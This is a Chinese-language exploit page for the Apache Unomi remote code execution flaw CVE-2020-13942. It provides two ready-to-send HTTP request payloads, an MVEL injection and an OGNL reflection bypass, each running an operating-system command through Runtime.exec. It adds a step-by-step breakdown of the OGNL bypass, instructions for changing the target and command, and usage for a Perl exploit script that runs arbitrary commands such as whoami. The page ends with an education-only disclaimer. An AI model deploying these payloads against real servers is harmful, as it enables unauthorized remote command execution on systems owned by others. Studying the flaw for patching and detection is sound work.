
Apache Unomi CVE-2020-13942:远程代码执行漏洞
关于该漏洞的原始博客文章: https://www.checkmarx.com/blog/apache-unomi-cve-2020-13942-rce-vulnerabilities-discovered/
存在两个RCE向量:通过MVEL注入和通过OGNL注入。两个向量的攻击目标代码不同,但载荷看起来相对类似。 之前的CVE修复 https://nvd.nist.gov/vuln/detail/CVE-2020-11975 试图限制OGNL表达式的执行,但完全忽略了MVEL。CVE-2020-13942绕过了1.5.1版本所做的修复。
使用BurpSuite或curl向Unomi服务器暴露的context.js\json发送以下HTTP请求,即可获得RCE。根据你的目标URL和操作系统命令修改Host和Content-length。
两个POC的响应中可能会出现 HTTP/1.1 400 Header Folding,这意味着载荷中的 \r\n 被搞乱了,请尝试重新复制粘贴一次。
POST /context.json HTTP/1.1
Host: localhost:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Content-Length: 486
{
"filters": [
{
"id": "boom",
"filters": [
{
"condition": {
"parameterValues": {
"": "script::Runtime r = Runtime.getRuntime(); r.exec(\"gnome-calculator\");"
},
"type": "profilePropertyCondition"
}
}
]
}
],
"sessionId": "boom"
}
OGNL POC绕过了1.5.1版本引入的ClassLoader限制。利用Java反射API,可以在不触发限制OGNL表达式评估的ClassLoader.loadClass方法的情况下创建对象。
OGNL载荷表达式分解:
#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\") 创建一个java.lang.Runtime类对象,其中#this是上下文对象的引用。#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0] 通过反射获取Runtime类的方法列表,并从列表中选择getRuntime方法。表达式的 {^ #this.name.equals(\"getRuntime\")} 部分查找名为getRuntime的方法,并返回符合条件的方法列表;该列表的第一个且唯一的方法是getRuntime。#runtimeobject = #runtimemethod.invoke(null,null) 调用getRuntime()方法并获取Runtime对象。(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]) 获取Runtime类的方法,并从方法列表中检索带有单个String参数的Runtime.exec()方法。#execmethod.invoke(#runtimeobject,\"gnome-calculator\") 使用指定的参数调用Runtime.exec()。POST /context.json HTTP/1.1
Host: localhost:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Content-Length: 1068
{
"personalizations":[
{
"id":"gender-test",
"strategy":"matching-first",
"strategyOptions":{
"fallback":"var2"
},
"contents":[
{
"filters":[
{
"condition":{
"parameterValues":{
"propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\" gnome-calculator\"))",
"comparisonOperator":"equals",
"propertyValue":"male"
},
"type":"profilePropertyCondition"
}
}
]
}
]
}
],
"sessionId":"boom"
}
基本用法:
./apache_unomi.pl [选项]
选项:
./apache_unomi.pl [目标:端口] [命令] [(方法1) - mevel| (方法2) - ognl]
[+]用法:
./apache_unomi.pl http://127.0.0.1:8181 whoami 1
本页面提供的所有信息仅供教育目的。本网站上的信息仅应用于增强您计算机系统的安全性,不得用于发起恶意或破坏性攻击。
您不应滥用此信息来获取对计算机系统的未经授权访问。同时请注意,未经所有者书面许可,对不属于您自己的计算机进行黑客攻击尝试是违法的。
对于因使用本网站提供的信息而造成的任何直接或间接损害,我不承担任何责任。